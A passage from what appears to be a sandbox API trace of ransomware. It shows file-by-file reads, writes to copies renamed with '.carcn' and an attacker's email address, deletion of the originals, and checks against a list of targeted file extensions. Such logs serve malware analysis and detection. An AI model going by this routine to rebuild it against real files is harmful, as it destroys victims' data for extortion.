lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2645, lpOverlapped=0x0) returned 1 [0271.433] WriteFile (in: hFile=0x548, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2650, lpOverlapped=0x0) returned 1 [0271.434] ReadFile (in: hFile=0x558, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0271.434] WriteFile (in: hFile=0x548, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xea, lpOverlapped=0x0) returned 1 [0271.434] SetEndOfFile (hFile=0x548) returned 1 [0271.454] CloseHandle (hObject=0x548) returned 1 [0271.455] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.455] SetEndOfFile (hFile=0x558) returned 1 [0271.512] CloseHandle (hObject=0x558) returned 1 [0271.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0272.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1 [0273.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.084] lstrlenW (lpString=".doc") returned 4 [0273.084] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.084] lstrlenW (lpString=".docx") returned 5 [0273.084] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.084] lstrlenW (lpString=".pdf") returned 4 [0273.084] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.084] lstrlenW (lpString=".xls") returned 4 [0273.084] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.084] lstrlenW (lpString=".xlsx") returned 5 [0273.085] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.085] lstrlenW (lpString=".ppt") returned 4 [0273.085] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.085] lstrlenW (lpString=".zip") returned 4 [0273.085] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.085] lstrlenW (lpString=".rar") returned 4 [0273.085] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.085] lstrlenW (lpString=".bz2") returned 4 [0273.085] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.085] lstrlenW (lpString=".7z") returned 3 [0273.085] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.085] lstrlenW (lpString=".dbf") returned 4 [0273.085] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.085] lstrlenW (lpString=".1cd") returned 4 [0273.085] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.085] lstrlenW (lpString=".jpg") returned 4 [0273.085] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.085] lstrlenW (lpString=".doc") returned 4 [0273.085] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.085] lstrlenW (lpString=".docx") returned 5 [0273.085] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.085] lstrlenW (lpString=".pdf") returned 4 [0273.085] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.085] lstrlenW (lpString=".xls") returned 4 [0273.086] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.086] lstrlenW (lpString=".xlsx") returned 5 [0273.086] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.086] lstrlenW (lpString=".ppt") returned 4 [0273.086] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.086] lstrlenW (lpString=".zip") returned 4 [0273.086] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.086] lstrlenW (lpString=".rar") returned 4 [0273.086] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.086] lstrlenW (lpString=".bz2") returned 4 [0273.086] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.086] lstrlenW (lpString=".7z") returned 3 [0273.086] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.086] lstrlenW (lpString=".dbf") returned 4 [0273.086] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.086] lstrlenW (lpString=".1cd") returned 4 [0273.086] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0273.086] lstrlenW (lpString=".jpg") returned 4 [0273.086] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.086] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.086] lstrlenW (lpString="PARNT_04.MID") returned 12 [0273.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0273.087] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=6070) returned 1 [0273.087] CloseHandle (hObject=0x43c) returned 1 [0273.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220 [0273.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0273.088] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.088] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0273.088] GetLastError () returned 0x0 [0273.088] ReadFile (in: hFile=0x43c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x17b6, lpOverlapped=0x0) returned 1 [0273.090] WriteFile (in: hFile=0x4a8, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x17c0, lpOverlapped=0x0) returned 1 [0273.091] ReadFile (in: hFile=0x43c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.092] WriteFile (in: hFile=0x4a8, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.092] SetEndOfFile (hFile=0x4a8) returned 1 [0273.092] CloseHandle (hObject=0x4a8) returned 1 [0273.092] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.092] SetEndOfFile (hFile=0x43c) returned 1 [0273.097] CloseHandle (hObject=0x43c) returned 1 [0273.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0273.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.101] lstrlenW (lpString=".doc") returned 4 [0273.101] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.101] lstrlenW (lpString=".docx") returned 5 [0273.101] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0273.101] lstrlenW (lpString=".pdf") returned 4 [0273.101] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.101] lstrlenW (lpString=".xls") returned 4 [0273.101] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.101] lstrlenW (lpString=".xlsx") returned 5 [0273.101] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0273.102] lstrlenW (lpString=".ppt") returned 4 [0273.102] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.102] lstrlenW (lpString=".zip") returned 4 [0273.102] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.102] lstrlenW (lpString=".rar") returned 4 [0273.102] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.102] lstrlenW (lpString=".bz2") returned 4 [0273.102] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.102] lstrlenW (lpString=".7z") returned 3 [0273.102] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.102] lstrlenW (lpString=".dbf") returned 4 [0273.102] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.102] lstrlenW (lpString=".1cd") returned 4 [0273.102] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.102] lstrlenW (lpString=".jpg") returned 4 [0273.102] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.102] lstrlenW (lpString=".doc") returned 4 [0273.102] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.102] lstrlenW (lpString=".docx") returned 5 [0273.102] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0273.102] lstrlenW (lpString=".pdf") returned 4 [0273.102] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.102] lstrlenW (lpString=".xls") returned 4 [0273.102] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.103] lstrlenW (lpString=".xlsx") returned 5 [0273.103] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0273.103] lstrlenW (lpString=".ppt") returned 4 [0273.103] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.103] lstrlenW (lpString=".zip") returned 4 [0273.103] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.103] lstrlenW (lpString=".rar") returned 4 [0273.103] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.103] lstrlenW (lpString=".bz2") returned 4 [0273.103] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.103] lstrlenW (lpString=".7z") returned 3 [0273.103] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.103] lstrlenW (lpString=".dbf") returned 4 [0273.103] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.103] lstrlenW (lpString=".1cd") returned 4 [0273.103] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0273.103] lstrlenW (lpString=".jpg") returned 4 [0273.103] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.103] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.103] lstrlenW (lpString="PARNT_05.MID") returned 12 [0273.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0273.304] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=6020) returned 1 [0273.304] CloseHandle (hObject=0x544) returned 1 [0273.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220 [0273.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0273.305] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.305] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0273.310] GetLastError () returned 0x0 [0273.310] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x1784, lpOverlapped=0x0) returned 1 [0273.370] WriteFile (in: hFile=0x49c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1790, lpOverlapped=0x0) returned 1 [0273.372] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.372] WriteFile (in: hFile=0x49c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.372] SetEndOfFile (hFile=0x49c) returned 1 [0273.372] CloseHandle (hObject=0x49c) returned 1 [0273.373] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.373] SetEndOfFile (hFile=0x544) returned 1 [0273.376] CloseHandle (hObject=0x544) returned 1 [0273.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0273.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.378] lstrlenW (lpString=".doc") returned 4 [0273.378] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.378] lstrlenW (lpString=".docx") returned 5 [0273.378] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0273.378] lstrlenW (lpString=".pdf") returned 4 [0273.378] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.378] lstrlenW (lpString=".xls") returned 4 [0273.378] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.378] lstrlenW (lpString=".xlsx") returned 5 [0273.378] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0273.378] lstrlenW (lpString=".ppt") returned 4 [0273.379] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.379] lstrlenW (lpString=".zip") returned 4 [0273.379] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.379] lstrlenW (lpString=".rar") returned 4 [0273.379] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.379] lstrlenW (lpString=".bz2") returned 4 [0273.379] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.379] lstrlenW (lpString=".7z") returned 3 [0273.379] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.379] lstrlenW (lpString=".dbf") returned 4 [0273.379] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.379] lstrlenW (lpString=".1cd") returned 4 [0273.379] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.379] lstrlenW (lpString=".jpg") returned 4 [0273.379] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.380] lstrlenW (lpString=".doc") returned 4 [0273.380] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.380] lstrlenW (lpString=".docx") returned 5 [0273.380] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0273.380] lstrlenW (lpString=".pdf") returned 4 [0273.380] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.380] lstrlenW (lpString=".xls") returned 4 [0273.380] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.380] lstrlenW (lpString=".xlsx") returned 5 [0273.380] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0273.380] lstrlenW (lpString=".ppt") returned 4 [0273.380] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.380] lstrlenW (lpString=".zip") returned 4 [0273.380] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.380] lstrlenW (lpString=".rar") returned 4 [0273.380] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.380] lstrlenW (lpString=".bz2") returned 4 [0273.380] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.380] lstrlenW (lpString=".7z") returned 3 [0273.380] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.381] lstrlenW (lpString=".dbf") returned 4 [0273.381] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.381] lstrlenW (lpString=".1cd") returned 4 [0273.381] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0273.381] lstrlenW (lpString=".jpg") returned 4 [0273.381] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.381] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.381] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0273.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0273.486] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10122) returned 1 [0273.486] CloseHandle (hObject=0x524) returned 1 [0273.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220 [0273.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0273.487] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.487] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0273.488] GetLastError () returned 0x0 [0273.488] ReadFile (in: hFile=0x524, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x278a, lpOverlapped=0x0) returned 1 [0273.560] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2790, lpOverlapped=0x0) returned 1 [0273.562] ReadFile (in: hFile=0x524, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: 